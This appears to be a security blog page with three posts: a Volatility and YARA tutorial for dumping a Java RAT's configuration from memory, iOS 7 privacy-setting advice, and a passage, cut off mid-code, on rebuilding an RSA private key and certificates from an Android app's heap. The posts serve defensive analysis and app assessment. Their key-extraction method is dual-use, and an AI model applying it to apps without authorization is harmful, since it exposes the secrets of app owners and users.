Thứ Ba, 29 tháng 10, 2013

Dumping Malware Configuration Data from Memory with Volatility

When I first start delving in memory forensics, years ago, we relied upon controlled operating system crashes (to create memory crash dumps) or the old FireWire exploit with a special laptop. Later, software-based tools like regular dd, and win32dd, made the job much easier (and more entertaining as we watched the feuds between mdd and win32dd).

In the early days, our analysis was basically performed with a hex editor. By collecting volatile data from an infected system, we'd attempt to map memory locations manually to known processes, an extremely frustrating and error-prone procedure. Even with the advent of graphical tools such as HBGary Responder Pro, which comes with a hefty price tag, I've found most of my time spent viewing raw memory dumps in WinHex.

The industry has slowly changed as tools like Volatility have gained maturity and become more feature-rich. Volatility is a free and open-source memory analysis tool that takes the hard work out of mapping and correlating raw data to actual processes. At first I shunned Volatility for it's sheer amount of command line memorization, where each query required memorizing a specialized command line. Over the years, I've come to appreciate this aspect and the flexibility it provides to an examiner.

It's with Volatility that I focus the content for this blog post, to dump malware configurations from memory.

For those unfamiliar with the concept, it's rare to find static malware. That is, malware that has a plain-text URL in its .rdata section mixed in with other strings. Modern malware tends to be more dynamic, allowing for configurations to be downloaded upon infection, or be strategically injected into the executable by its author. Crimeware malware (Carberp, Zeus) tend to favor the former, connecting to a hardcoded IP address or domain to download a detailed configuration profile (often in XML) that is used to determine how the malware is to operate. What domains does it beacon to, on which ports, and with what campaign IDs - these are the items we determine from malware configurations.

Other malware rely upon a known block of configuration data within the executable, sometimes found within .rdata or simply in the overlay (the data after the end of the actual executable). Sometimes this data is in plain text, often it's encoded or encrypted. A notable example of this is in Mandiant's APT1 report on TARSIP-MOON, where a block of encrypted data is stored in the overlay. The point of this implementation is that an author can compile their malware, and then add in the appropriate configuration data after the fact.

As a method to improving the timeliness of malware analysis, I've been advocating for greater research and implementation of configuration dumpers. By identifying where data is stored within the file, and by knowing its encryption routine, one could simply write a script to extract the data, decrypt it, and print it out. Without even running the malware we know its intended C2 communications and have immediate signatures that we can then implement into our network defenses.

While this data may appear as a simple structure in plaintext in a sample, often it's encoded or encrypted via a myriad of techniques. Often this may be a form of encryption that we, or our team, deemed as too difficult to decrypt in a reasonable time. This is pretty common, advanced encryption or compression can often take weeks to completely unravel and is often left for when there's downtime in operations.

What do we do, then? Easy, go for the memory.

We know that the malware has a decryption routine that intakes this data and produces decrypted output. By simply running the malware and analyzing its memory footprint, we will often find the decrypted results in plaintext, as it has already been decrypted and in use by the malware.

Why break the encryption when we can let the malware just decrypt it for us?



For example, the awesome people at Malware.lu released a static configuration dumper for a known Java-based RAT. This dumper, available here on their GitHub repo, extracts the encryption key and configuration data from the malware's Java ZIP and decrypts it. It uses Triple DES (TDEA), but once that routine became public knowledge, the author quickly switched to a new routine. The author has then continued switching encryption routines regularly to avoid easy decryption. Based on earlier analysis, we know that the data is decrypted as:

Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15

00000000   70 6F 72 74 3D 33 31 33  33 37 53 50 4C 49 54 01   port=31337SPLIT.
00000016   6F 73 3D 77 69 6E 20 6D  61 63 53 50 4C 49 54 01   os=win macSPLIT.
00000032   6D 70 6F 72 74 3D 2D 31  53 50 4C 49 54 03 03 03   mport=-1SPLIT...
00000048   70 65 72 6D 73 3D 2D 31  53 50 4C 49 54 03 03 03   perms=-1SPLIT...
00000064   65 72 72 6F 72 3D 74 72  75 65 53 50 4C 49 54 01   error=trueSPLIT.
00000080   72 65 63 6F 6E 73 65 63  3D 31 30 53 50 4C 49 54   reconsec=10SPLIT
00000096   10 10 10 10 10 10 10 10  10 10 10 10 10 10 10 10   ................
00000112   74 69 3D 66 61 6C 73 65  53 50 4C 49 54 03 03 03   ti=falseSPLIT...
00000128   69 70 3D 77 77 77 2E 6D  61 6C 77 61 72 65 2E 63   ip=www.malware.c
00000144   6F 6D 53 50 4C 49 54 09  09 09 09 09 09 09 09 09   omSPLIT.........
00000160   70 61 73 73 3D 70 61 73  73 77 6F 72 64 53 50 4C   pass=passwordSPL
00000176   49 54 0E 0E 0E 0E 0E 0E  0E 0E 0E 0E 0E 0E 0E 0E   IT..............
00000192   69 64 3D 43 41 4D 50 41  49 47 4E 53 50 4C 49 54   id=CAMPAIGNSPLIT
00000208   10 10 10 10 10 10 10 10  10 10 10 10 10 10 10 10   ................
00000224   6D 75 74 65 78 3D 66 61  6C 73 65 53 50 4C 49 54   mutex=falseSPLIT
00000240   10 10 10 10 10 10 10 10  10 10 10 10 10 10 10 10   ................
00000256   74 6F 6D 73 3D 2D 31 53  50 4C 49 54 04 04 04 04   toms=-1SPLIT....
00000272   70 65 72 3D 66 61 6C 73  65 53 50 4C 49 54 02 02   per=falseSPLIT..
00000288   6E 61 6D 65 3D 53 50 4C  49 54 06 06 06 06 06 06   name=SPLIT......
00000304   74 69 6D 65 6F 75 74 3D  66 61 6C 73 65 53 50 4C   timeout=falseSPL
00000320   49 54 0E 0E 0E 0E 0E 0E  0E 0E 0E 0E 0E 0E 0E 0E   IT..............
00000336   64 65 62 75 67 6D 73 67  3D 74 72 75 65 53 50 4C   debugmsg=trueSPL
00000352   49 54 0E 0E 0E 0E 0E 0E  0E 0E 0E 0E 0E 0E 0E 0E   IT..............

Or, even if we couldn't decrypt this, we know that it's beaconing to a very unique domain name and port which can be searched upon. Either way, we now have a sample where we can't easily get to this decrypted information. So, let's solve that.

By running the malware within a VM, we should have a logical file for the memory space. In VMWare, this is a .VMEM file (or .VMSS for snapshot memory). In VirtualBox, it's a .SAV file. After running our malware, we suspend the guest operating system and then focus our attention on the memory file.

The best way to start is to simply grep the file (from the command line or a hex editor) for the unique C2 domains or artifacts. This should get us into the general vicinity of the configuration and show us the structure of it:

E:\VMs\WinXP_Malware>grep "www.malware.com" *
Binary file WinXP_Malware.vmem matches

With this known, we open the VMEM file and see a configuration that matches that of what we've previously seen. This tells us that the encryption routine changed, but not that of the configuration, which is common. This is where we bring out Volatility.

Searching Memory with Volatility

We know that the configuration data begins with the text of "port=<number>SPLIT", where "SPLIT" is used to delimit each field. This can then be used to create a YARA rule of:

rule javarat_conf {
    strings: $a = /port=[0-9]{1,5}SPLIT/ 
    condition: $a
}

This YARA rule uses the regular expression structure (defined with forward slashes around the text) to search for "port=" followed by a number that is 1 - 5 characters long. This rule will be used to get us to the beginning of the configuration data. If there is no good way to get to the beginning, but only later in the data, that's fine. Just note that offset variance between where the data should start and where the YARA rule puts us.

Let's test this rule with Volatility first, to ensure that it works:

E:\Development\volatility>vol.py -f E:\VMs\WinXP_Malware\WinXP_Malware.vmem yarascan -Y "/port=[0-9]{1,5}SPLIT/"
Volatile Systems Volatility Framework 2.3_beta
Rule: r1
Owner: Process VMwareUser.exe Pid 1668
0x017b239b  70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 2e   port=31337SPLIT.
0x017b23ab  0a 30 30 30 30 30 30 31 36 20 20 20 36 46 20 37   .00000016...6F.7
0x017b23bb  33 20 33 44 20 37 37 20 36 39 20 36 45 20 32 30   3.3D.77.69.6E.20
0x017b23cb  20 36 44 20 20 36 31 20 36 33 20 35 33 20 35 30   .6D..61.63.53.50
Rule: r1
Owner: Process javaw.exe Pid 572
0x2ab9a7f4  70 6f 72 74 3d 33 31 33 33 37 53 50 4c 49 54 01   port=31337SPLIT.
0x2ab9a804  6f 73 3d 77 69 6e 20 6d 61 63 53 50 4c 49 54 01   os=win.macSPLIT.
0x2ab9a814  6d 70 6f 72 74 3d 2d 31 53 50 4c 49 54 03 03 03   mport=-1SPLIT...
0x2ab9a824  70 65 72 6d 73 3d 2d 31 53 50 4c 49 54 03 03 03   perms=-1SPLIT...

One interesting side effect to working within a VM is that some data may appear under the space of VMWareUser.exe. The data is showing up somewhere outside of the context of our configuration. We could try to change our rule, but the simpler solution within the plugin is to just rule out hits from VMWareUser.exe and only allow hits from executables that contain "java".

Now that we have a rule, how do we automate this? By writing a quick and dirty plugin for Volatility.

Creating a Plugin

A quick plugin that I'm demonstrating is composed of two primary components: a YARA rule, and a configuration dumper. The configuration dumper scans memory for the YARA rule, reads memory, and displays the parsed results. An entire post could be written on just this file format, so instead I'll post a very generic plugin and highlight what should be modified. I wrote this based on the two existing malware dumpers already released with Volatility: Zeus and Poison Ivy.

Jamie Levy and Michael Ligh, both core developers on Volatility, provided some critical input on ways to improve and clean up the code.

# JavaRAT detection and analysis for Volatility - v 1.0
# This version is limited to JavaRAT's clients 3.0 and 3.1, and maybe others 
# Author: Brian Baskin <brian@thebaskins.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details. 
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 

import volatility.plugins.taskmods as taskmods
import volatility.win32.tasks as tasks
import volatility.utils as utils
import volatility.debug as debug
import volatility.plugins.malware.malfind as malfind
import volatility.conf as conf
import string

try:
    import yara
    has_yara = True
except ImportError:
    has_yara = False


signatures = {
    'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}'
}

config = conf.ConfObject()
config.add_option('CONFSIZE', short_option = 'C', default = 256,
                           help = 'Config data size',
                           action = 'store', type = 'int')
config.add_option('YARAOFFSET', short_option = 'Y', default = 0,
                           help = 'YARA start offset',
                           action = 'store', type = 'int')

class JavaRATScan(taskmods.PSList):
    """ Extract JavaRAT Configuration from Java processes """

    def get_vad_base(self, task, address):
        for vad in task.VadRoot.traverse():
            if address >= vad.Start and address < vad.End:
                return vad.Start
        return None

    def calculate(self):
        """ Required: Runs YARA search to find hits """ 
        if not has_yara:
            debug.error('Yara must be installed for this plugin')

        addr_space = utils.load_as(self._config)
        rules = yara.compile(sources = signatures)
        for task in self.filter_tasks(tasks.pslist(addr_space)):
            if 'vmwareuser.exe' == task.ImageFileName.lower():
                continue
            if not 'java' in task.ImageFileName.lower():
                continue
            scanner = malfind.VadYaraScanner(task = task, rules = rules)
            for hit, address in scanner.scan():
                vad_base_addr = self.get_vad_base(task, address)
                yield task, address

    def make_printable(self, input):
        """ Optional: Remove non-printable chars from a string """
        input = input.replace('\x09', '')  # string.printable doesn't remove backspaces
        return ''.join(filter(lambda x: x in string.printable, input))

    def parse_structure(self, data):
        """ Optional: Parses the data into a list of values """
        struct = []
        items = data.split('SPLIT')
        for i in range(len(items) - 1):  # Iterate this way to ignore any slack data behind last 'SPLIT'
            item = self.make_printable(items[i])
            field, value = item.split('=')
            struct.append('%s: %s' % (field, value))
        return struct
    
    def render_text(self, outfd, data):
        """ Required: Parse data and display """
        delim = '-=' * 39 + '-'
        rules = yara.compile(sources = signatures)
        outfd.write('YARA rule: {0}\n'.format(signatures))
        outfd.write('YARA offset: {0}\n'.format(self._config.YARAOFFSET))
        outfd.write('Configuration size: {0}\n'.format(self._config.CONFSIZE))
        for task, address in data:  # iterate the yield values from calculate()
            outfd.write('{0}\n'.format(delim))
            outfd.write('Process: {0} ({1})\n\n'.format(task.ImageFileName, task.UniqueProcessId))
            proc_addr_space = task.get_process_address_space()
            conf_data = proc_addr_space.read(address + self._config.YARAOFFSET, self._config.CONFSIZE)
            config = self.parse_structure(conf_data)
            for i in config:
                outfd.write('\t{0}\n'.format(i))
This code is also available on my GitHub.

In a nutshell, you first have a signature to key on for the configuration data. This is a fully qualified YARA signature, seen as:

signatures = {
    'javarat_conf' : 'rule javarat_conf {strings: $a = /port=[0-9]{1,5}SPLIT/ condition: $a}'
}
This rule is stored in a Python dictionary format of 'rule_name' : 'rule contents'.

The plugin allows a command line argument (-Y) to set the the YARA offset. If your YARA signature hits 80 bytes past the beginning of the structure, then set this value to -80, and vice versa. This can also be hardcoded by changing the default value.

There a second command line argument (-C) to set the size of data to read for parsing. This can also be hardcoded. This will vary based upon the malware; I've seen some multiple kilobytes in size.

Rename the Class value, seen here as JavaRATScan, to whatever fits for your malware. It has to be a unique name. Additionally, the """ """ comment block below the class name contains the description which will be displayed on the command line.

I do have an optional rule to limit the search to a certain subset of processes. In this case, only processes that contain the word "java" - this is a Java-based RAT, after all. It also skips any process of "VMWareUser.exe".

The plugin contains a parse_structure routine that is fed a block of data. It then parses it into a list of items that are returned and printed to the screen (or file, or whatever output is desired). This will ultimately be unique to each malware, and the optional function of make_printable() is one I made to clean up the non-printable characters from the output, allowing me to extending the blocked keyspace.

Running the Plugin

As a rule, I place all of my Volatility plugins into their own unique directory. I then reference this upon runtime, so that my files are cleanly segregated. This is performed via the --plugins option in Volatility:
E:\Development\volatility>vol.py --plugins=..\Volatility_Plugins
After specifying a valid plugins folder, run vol.py with the -h option to ensure that your new scanner appears in the listing:
E:\Development\volatility>vol.py --plugins=..\Volatility_Plugins -h
Volatile Systems Volatility Framework 2.3_beta
Usage: Volatility - A memory forensics analysis platform.

Options:
...

        Supported Plugin Commands:

                apihooks        Detect API hooks in process and kernel memory
...
                javaratscan  Extract JavaRAT Configuration from Java processes
...
The names are automatically populated based upon your class names. The text description is automatically pulled from the "docstring", which is the comment that directly follows the class name in the plugin. 
With these in place, run your scanner and cross your fingers:

For future use, I'd recommend prepending your plugin name with a unique identifier to make it stand out, like "SOC_JavaRATScan". Prepending with a "zz_" would make the new plugins appear at the bottom of Volality's help screen. Regardless, it'll help group the built-in plugins apart from your custom ones.

The Next Challenge: Data Structures


The greater challenge is when data is read from within the executable into a data structure in memory. While the data may have a concise and structured form when stored in the file, it may be transformed into a more complex and unwieldy format once read into memory by the malware. Some samples may decrypt the data in-place, then load it into a structure. Others decrypt it on-the-fly so that it is only visible after loading into a structure.

For example, take the following fictitious C2 data stored in the overlay of an executable:

Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15

00000000   08 A2 A0 AC B1 A0 A8 A6  AF 17 89 95 95 91 DB CE   .¢ ¬± ¨¦¯.‰••‘ÛÎ
00000016   CE 96 96 96 CF 84 97 88  8D 92 88 95 84 CF 82 8E   Ζ––Ï„—ˆ’ˆ•„Ï‚Ž
00000032   8C 03 D5 D5 D2 08 B1 A0  B2 B2 B6 AE B3 A5 05 84   Œ.ÕÕÒ.± ²²¶®³¥.„
00000048   99 95 93 80                                        ™•“€

By reversing the malware, we determine that this composed of Pascal-strings XOR encoded by 0xE1. Pascal-string are length prefixed, so applying the correct decoding would result in:

Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15

00000000   08 43 41 4D 50 41 49 47  4E 17 68 74 74 70 3A 2F   .CAMPAIGN.http:/
00000016   2F 77 77 77 2E 65 76 69  6C 73 69 74 65 2E 63 6F   /www.evilsite.co
00000032   6D 03 34 34 33 08 50 41  53 53 57 4F 52 44 05 65   m.443.PASSWORD.e
00000048   78 74 72 61                                        xtra

This is a very simple encoding routine, which I made with just:

items = ['CAMPAIGN', 'http://www.evilsite.com', '443', 'PASSWORD', 'extra']
data = ''
for i in items:
    data += chr(len(i))
    for x in i: data += chr(ord(x) ^ 0xE1)


Data structures are a subtle and difficult component of reverse engineering, and vary in complexity with the skill of the malware author. Unfortunately, data structures are some of the least shared indicators in the industry.

Once completed, a sample structure could appear similar to the following:

struct Configuration
{
    CHAR campaign_id[12];
    CHAR password[16];
    DWORD heartbeat_interval;
    CHAR C2_domain[48];
    DWORD C2_port;
}

With this structure, and the data shown above, the malware reads each variable in and applies it to the structure. But, we can already see some discrepancies: the items are in a differing order, and some are of a different type. While the C2 port is seen as a string, '443', in the file, it appears as a DWORD once read into memory. That means that we'll be searching for 0x01BB (or 0xBB01 based on endianness) instead of '443'. Additionally, there are other values introduced that did not exist statically within the file to contend with.

An additional challenge is that depending on how the memory was allocated, there could be slack data found within the data. This could be seen if the malware sample allocates memory malloc() without a memset(), or by not using calloc().

When read and applied to the structure, this data may appear as the following:

Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15

00000000   43 41 4D 50 41 49 47 4E  00 0C 0C 00 00 50 41 53   CAMPAIGN.....PAS
00000016   53 57 4F 52 44 00 00 00  00 00 00 00 00 00 17 70   SWORD..........p
00000032   68 74 74 70 3A 2F 2F 77  77 77 2E 65 76 69 6C 73   http://www.evils
00000048   69 74 65 2E 63 6F 6D 00  00 00 00 00 00 00 00 00   ite.com.........
00000064   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000080   00 00 01 BB                                        ...»

We can see from this that our strategy changes considerably when writing a configuration dumper. The dumper won't be written based upon the structure in the file, but instead upon the data structure in memory, after it has been converted and formatted. We'll have to change our parser slightly to account for this. For example, if you know that the Campaign ID is 12 bytes, then read 12 bytes of data and find the null terminator to pull the actual string.

This just scratches the surface of what you can do with encrypted data in memory, but I hope it can inspire others to use this template code to make quick and easy configuration dumpers to improve their malware analysis.

iOS 7 Security Settings and Recommendations

By Kunjan Shah.

Apple finally released the much anticipated iOS 7 last Wednesday, September 18th. A lot of people are rushing in and updating to this latest version. It hit 18% adoption in just 24 hours after its release. I gotta admit, I love the look and feel of it and it feels like a completely new phone in my hand. In this blog post I have tried to explain some of the new and modified security settings, features that you should be aware of before you move to iOS 7.

Recent Hacks

iOS 7 Lock Screen Bypass Flaw

Just one day after its release, iOS 7 lock bypass flaw was identified by a user as show in this video. I tried it out on my iPhone 5 running iOS 7 and it is a fairly simple trick. This was followed by a similar flaw that was identified in the beta version of iOS7 sometime back. May be a good reason to not jump to iOS 7 right away? Until an official fix is released by Apple you can disable access to the Control Center from locked screen as discussed below.

Yet another bug allows an attacker the ability to bypass the lock screen and make calls.

Siri Abuse to Post Facebook Updates

Siri gains more power in iOS 7, maybe too much power. This vulnerability identified that while certain Siri commands are restricted (disallowing the user to post to facebook) there are alternate commands that accomplish the same task but are unrestricted.

Apple TouchID Bypass and Drama

Latest iPhone models include a fingerprint reader called the TouchID. The intention behind this addition was in the right place, but as shown by the CCC, fingerprints should not be used as a security identifier. Hacking the TouchID got tons of attention from security community due to a crowd funding venture, however it appears that a fraudster named Arturas Rosenbacher took much of the credit for the venture, made false promises, and never paid up, creating a little drama in the industry.

Notification Center

Notification center which was first introduced with iOS 5 gets a facelift with iOS 7. One of the key security distinction this time around is that you can access the notification center now from a locked screen. Notification center is a hub of information ranging from calendar, reminders, stocks, missed calls, messages etc. Unless you have a very good reason to keep it accessible from the locked screen I recommend disabling it. To disable it navigate to Settings > Notification Center. Toggle “Notification View” and “Today View” to off as shown below.



Control Center

With iOS 7 Apple has introduced Control Center, which lets you access frequently accessed settings by swiping up from the bottom of the screen. This feature, similar to the Notification Center, is accessible from the locked screen by default. It lets you modify settings such as Wi-Fi, Bluetooth, Airplane Mode, Airdrop etc. Again, it is recommended that you disable this feature from the locked screen. As shown in this video, having control center accessible from the locked device can let anyone in possession of your iPhone bypass the lock screen completely. This is another very good reason to disable access to it from the locked screen.

You can disable it from under Settings > Control Center. Toggle “Access on Lock Screen” to off as shown in the figure below.



Airdrop

With OS X Lion Apple introduced a new peer-to-peer file sharing feature called Airdrop for the Mac users. This feature is now also made available to the iOS 7 users using iPhone 5 models. This feature lets you transfer maps, pictures, videos using Wi-Fi and Bluetooth to other users in close proximity. One of the settings for Airdrop is that it lets you choose whether your iPhone can be discoverable by everyone or just your contacts. It is recommended that you select “Contacts Only” as it is a safer alternative than “Everyone”, unless you want to receive file sharing requests from anonymous people around you.



Powerful New Siri

iOS 7 introduces a powerful version of Siri with additional commands that lets you change settings on the fly from locked screen such as “Enable Bluetooth”, “Turn on Airplane Mode”. You can also find recent tweets, post on Facebook, read and reply to new messages, view missed calls, and listen to voice messages etc. from the locked screen using Siri.



It is recommended that you disable access to Siri from a locked screen. To do so, go to Settings > General > Passcode Lock and disable Siri and other settings as shown in the figure below.



Activation Lock

This is one of the nicest security feature that Apple has introduced with iOS 7. In an attempt to prevent thieves from reselling stolen iPhones by just resetting them and swapping the SIM card; Apple introduced this feature called “Activation Lock” to augment its Find My iPhone service. This feature prevents someone to erase all the data and re-activate the device, or turn find my iPhone off without entering the Apple id and the password first. When you first upgrade to iOS 7 Apple asks for your Apple id to enable this feature. To enable it at a later stage simply go to Settings > iCloud > Toggle Find my iPhone setting to on. To read more about this topic, visit this post.



Privacy Controls in iOS 7

Microphone (New Feature)

iOS 7 now asks for user’s permission if an application intends to access the microphone. In the previous versions of iOS permissions were limited to contacts, calendars, photos etc. This is a new and nice privacy control. You can see which apps have been authorized to access the microphone and revoke access by going to Settings > Privacy > Microphone.



Private Browsing Button (Re-designed)

The “Private” browsing setting has been moved out from the “Settings” and now more easily available within Safari. You can easily enable “Private” browsing by navigating to bookmarks in Safari and tapping on the “Private” button on the bottom left corner. Moreover, you can also disable all tracking by going to Settings > Safari and turning “Do Not Track” button to off.



Limit Ad Tracking (Re-designed)

This feature lets you limit ad tracking and reset your device’s “Advertising Identifier”. This prevents companies from sending you targeted advertisements through a unique tracking number tied to your device. To enable this option go to Settings > Privacy > Limit Ad Tracking and turn it on as shown below.



Frequent Locations

When you first upgrade to iOS 7 it asks you if you want to remember places that you frequently visit. If you opt-in, frequent locations setting saves this information and transmits it anonymously to Apple to improve Maps. There is no surprise here that iPhone keeps track of places you frequently visit, if you followed the Location-gate fiasco that unveiled in 2011, when a database of Wi-Fi hotspots was discovered on the iOS 4 devices. However, now apple is being more transparent about it and provides an option for users to opt-in. Good thing is this is turned off by default in iOS 7. It is no longer a developer-only setting, but a consumer feature according to Apple. If you opt-in by mistake and want to opt out then go to Settings > Privacy > Location Services > Scroll down to System Services at the bottom of the screen > Toggle Frequent Locations to off.

In addition to this, I recommend turning off the “Diagnostics & Usage” and “Location-Based iAds” settings as well. Diagnostics & Usage setting monitors what you do on your device and anonymously sends it to Apple for improving iOS. iAds caused a lot of noise in 2010 when Apple published its long privacy policy. Bottom line is if you don’t care about targeted ads you should probably disable this.



Blocking Contacts (New Feature)

With iOS 7 now you have the ability to block contacts for phone calls, iMessages and FaceTime. To block someone go to Settings > Messages or FaceTime and scroll down to “Blocked”. From here you will be able to add contacts that you want blocked as shown below.



References

  1. http://www.macworld.com/article/2048738/get-to-know-ios-7-changes-in-the-settings-app.html
  2. http://blogs.wsj.com/digits/2013/09/18/how-to-use-apples-new-ios-7-privacy-controls/
  3. http://www.pcmag.com/article2/0,2817,2423635,00.asp
  4. http://www.buzzfeed.com/charliewarzel/this-is-what-it-looks-like-when-your-phone-tracks-your-every
  5. http://resources.infosecinstitute.com/ios-application-security-part-6-new-security-features-in-ios-7/
  6. http://www.idownloadblog.com/2013/08/08/a-closer-look-at-frequent-locations-in-ios-7/

Extracting RSAPrivateCrtKey and Certificates from an Android Process

By Gursev Singh Kalra.

An Android application that I assessed recently had extensive cryptographic controls to protect client-server communication and to secure its local storage. To top that, its source code was completely obfuscated. Combined, these two factors made the application a great candidate for reversing. In this blog I will detail the portion of work where I dumped X.509 certificates and constructed a RSA private key (RSAPrivateCrtKey) from the Android application memory using Eclipse Memory Analyzer Tool (MAT) and Java code.

Analyzing Android Memory with Eclipse MAT

Eclipse MAT is primarily a Java heap analyzer that has extensive usage beyond its primary purpose of identifying memory leaks. It can be used to identify and dump sensitive information in Android application memory, perform some memory forensics etc… If you are new to Android memory analysis, I recommend that you get intimate with this tool for its obvious benefits. The following articles can help you get started.



Okay, now back to our target application.

Locating the crypto material

As part of reversing process I used dex2jar to decompile the application apk to java files and started analyzing them. While following application logic and reviewing its obfuscated code, I stumbled upon a java file (com.pack.age.name.h.b.java) that contained instance variables of type SSLSocketFactory and X509TrustManager. Clearly, this class was performing important cryptographic operations with respect to client-server communication.

So I pivoted to this class to identify the source of its crypto material and all attempts led me from one rabbit hole to another. I then decided to directly look at application heap with Eclipse MAT. I launched the application and performed some operations to ensure that the application loads the required crypto material and then performed the following steps to create the HPROF file contain application heap dump.

  1. Select the application from the list of running apps
  2. Select the “Show heap updates” option for the target application
  3. Select “Dump HPROF file” for analysis.
  4. Since I had MAT plugin installed, ADT converted the Android memory dump to HPROF format and presented it for analysis. In case you do not have MAT plugin, you will need to convert the generated dump to MAT readable format with hprof-conv utility that comes with ADT.


After opening the heap dump, I clicked on the “Dominator Tree” to view the object graph. Supplying the name of the class which had SSLSocketFactory and X509TrustManager instance variables in the Regex area filtered out most of the unwanted stuff. I then navigated the object tree to identify the X.509 certificates and the RSAPrivateCrtKey is shown below.



Dumping the certificates

The X.509 certificates were byte arrays of different lengths and extracting the certificates turned out to be quick. I right clicked on the byte array -> navigated to Copy -> Save Value to File -> selected location to save the file and clicked Finish. MAT indicates that the copy functionality allows you to write char[], String, StringBuffer and StringBuilder to a text file but it handsomely handled the byte[] in the current context. Please note the extension of the exported file was set to .der on the windows system. The following screenshots will show you the steps followed and one extracted certificate.

First select the “Save Value to File” functionality for the byte[]:



Next save the file as certificate-1.der :



And now you can see the extracted Root CA certificate from the Android application:



Extracting the RSAPrivateCrtKey

The second important component was the RSAPrivateCrtKey and extracting it was a little more involved as we will see below. To summarize, the below provided steps were followed to retrieve the RSAPrivateKeyCrtKey:

  1. Locate components that make up the RSAPrivatecrtKeySpec
  2. Copy all the components and store them in file system
  3. Compute positive BigInteger values from these components
  4. Construct RSAPrivatecrtKeySpec from its components
  5. Use the RSAPrivatecrtKeySpec object to construct RSAPrivatecrtKey
  6. Write the RSAPrivatecrtKey to the file system in PKCS8 format
  7. And optionally:
    1. Convert PKCS8 to PEM using OpenSSL
    2. Extract public key from the PEM file with OpenSSL


Let us now look at the involved details.

The third component from the first image above corresponds to an instance of RSAPrivatecrtKeySpec which was the starting point to construct the key. Selecting the com.android.org.bouncycastle.jcajce.provider.asymmetric.rsa.BCRSAPrivateCrtKey entry in the MAT’s Dominator Tree populated the Attributes tab with the information (type, instance name and object reference) pertaining to the several participating BigInteger instances that are required to build this RSAPrivateCrtKeySpec. The following are the participating BigInteger components that make up a RSAPrivateCrtKeySpec:

  1. modulus
  2. publicExponent
  3. privateExponent
  4. primeP
  5. primeQ
  6. primeExponentP
  7. primeExponentQ
  8. crtCoefficient


I used this information to segregate the BigInteger component values to different variables as their values were copied out to the file system (see figure below). For example, the crtCoefficient at @0x410b0080 in the Attributes tab (left) was mapped to an array of 32 integers (right). The modulus at @0x410afde0 was 64 int’s long which indicated that the key size was 2048 bits. Since MAT does not know how to export BigInteger objects, I used the actual int[] reference inside the corresponding BigInteger dropdown to copy out the binary content.

That is, I right clicked on the int[] dropdowns under the BigInteger while exporting their content. This process was repeated for all the BigInteger components to 8 local files and the files were named as per the Attribute names.

Here's the Attributes pane and corresponding BigInteger objects in the heap



and the corresponding int[] content dump.



The next step after extracting the BigInteger components was to check if I am able to use them to re-construct the RSAPrivateCrtKeySpec. So I decided to perform two basic tests before going forward.

  1. Read individual int values from the file where int[]was dumped and match them against values in the MAT
  2. Check that all BigInteger components are positive numbers


I wrote some Java code to help me test all the binary dumps against these two conditions. The results indicated that first condition was true for all BigInteger components, but the second condition was not met by 3 out of 8 BigInteger components that had negative values as shown below.

Here's the matching integers from the binary dump against MAT (Condition 1)



Here are the negative values (Condition 1):

I searched around to identify the reason for the negative values and the comments in the OpenJDK code indicated that the negative values can be result of incorrect ASN.1 encoding. So I included the corresponding code to calculate and return 2’s complement for negative BigInteger values before supplying the values to RSAPrivateCrtKeySpec constructor.

The final Java code that reads the binary BigInteger (int[]) components from file system and creates RSAPrivateCrtKey in PKCS8 format is provided below.

import java.io.DataInputStream;
import java.io.EOFException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.nio.ByteBuffer;
import java.nio.IntBuffer;
import java.security.KeyFactory;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.PrivateKey;
import java.security.Security;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.RSAPrivateCrtKeySpec;
import java.util.ArrayList;

import org.bouncycastle.jce.provider.BouncyCastleProvider;

public class Generate Key {

 public static BigInteger bitIntFromByteArray(int[] byteArrayParam) {
     byte[] localByteArray = new byte[byteArrayParam.length * 4];
     ByteBuffer byteBuffer = ByteBuffer.wrap(localByteArray);
     IntBuffer intBuffer = byteBuffer.asIntBuffer();
     intBuffer.put(byteArrayParam);
     
     BigInteger bigInteger = new BigInteger(localByteArray);
     if(bigInteger.compareTo(BigInteger.ZERO) < 0)
      bigInteger = new BigInteger(1, bigInteger.toByteArray());
     return bigInteger;
 }
 
 public static BigInteger bigIntegerFromBinaryFile(String filename) throws IOException {
  ArrayList<Integer> intArrayList = new ArrayList<Integer>();
  DataInputStream inputStream = new DataInputStream(new FileInputStream(filename));
  try {
      while (true) 
          intArrayList.add(inputStream.readInt());
  } catch (EOFException ex) {
   
  } finally {
   inputStream.close();
  }
  
  int[] intArray = new int[intArrayList.size()];
  for(int i = 0; i < intArrayList.size(); i++) 
   intArray[i] = intArrayList.get(i);
  return bitIntFromByteArray(intArray);

 }
 
 public static void main(String[] args) throws KeyStoreException, NoSuchProviderException, NoSuchAlgorithmException, InvalidKeySpecException, FileNotFoundException, IOException, ClassNotFoundException {
  Security.addProvider(new BouncyCastleProvider());
  
  BigInteger crtCoefficient = bigIntegerFromBinaryFile("h:\\key-coeffs\\crtCoefficient");
  BigInteger modulus = bigIntegerFromBinaryFile("h:\\key-coeffs\\modulus");
  BigInteger primeExponentP = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeExponentP");
  BigInteger primeExponentQ = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeExponentQ");
  BigInteger primeP = bigIntegerFromBinaryFile("h:\\key-coeffs\\primeP");  
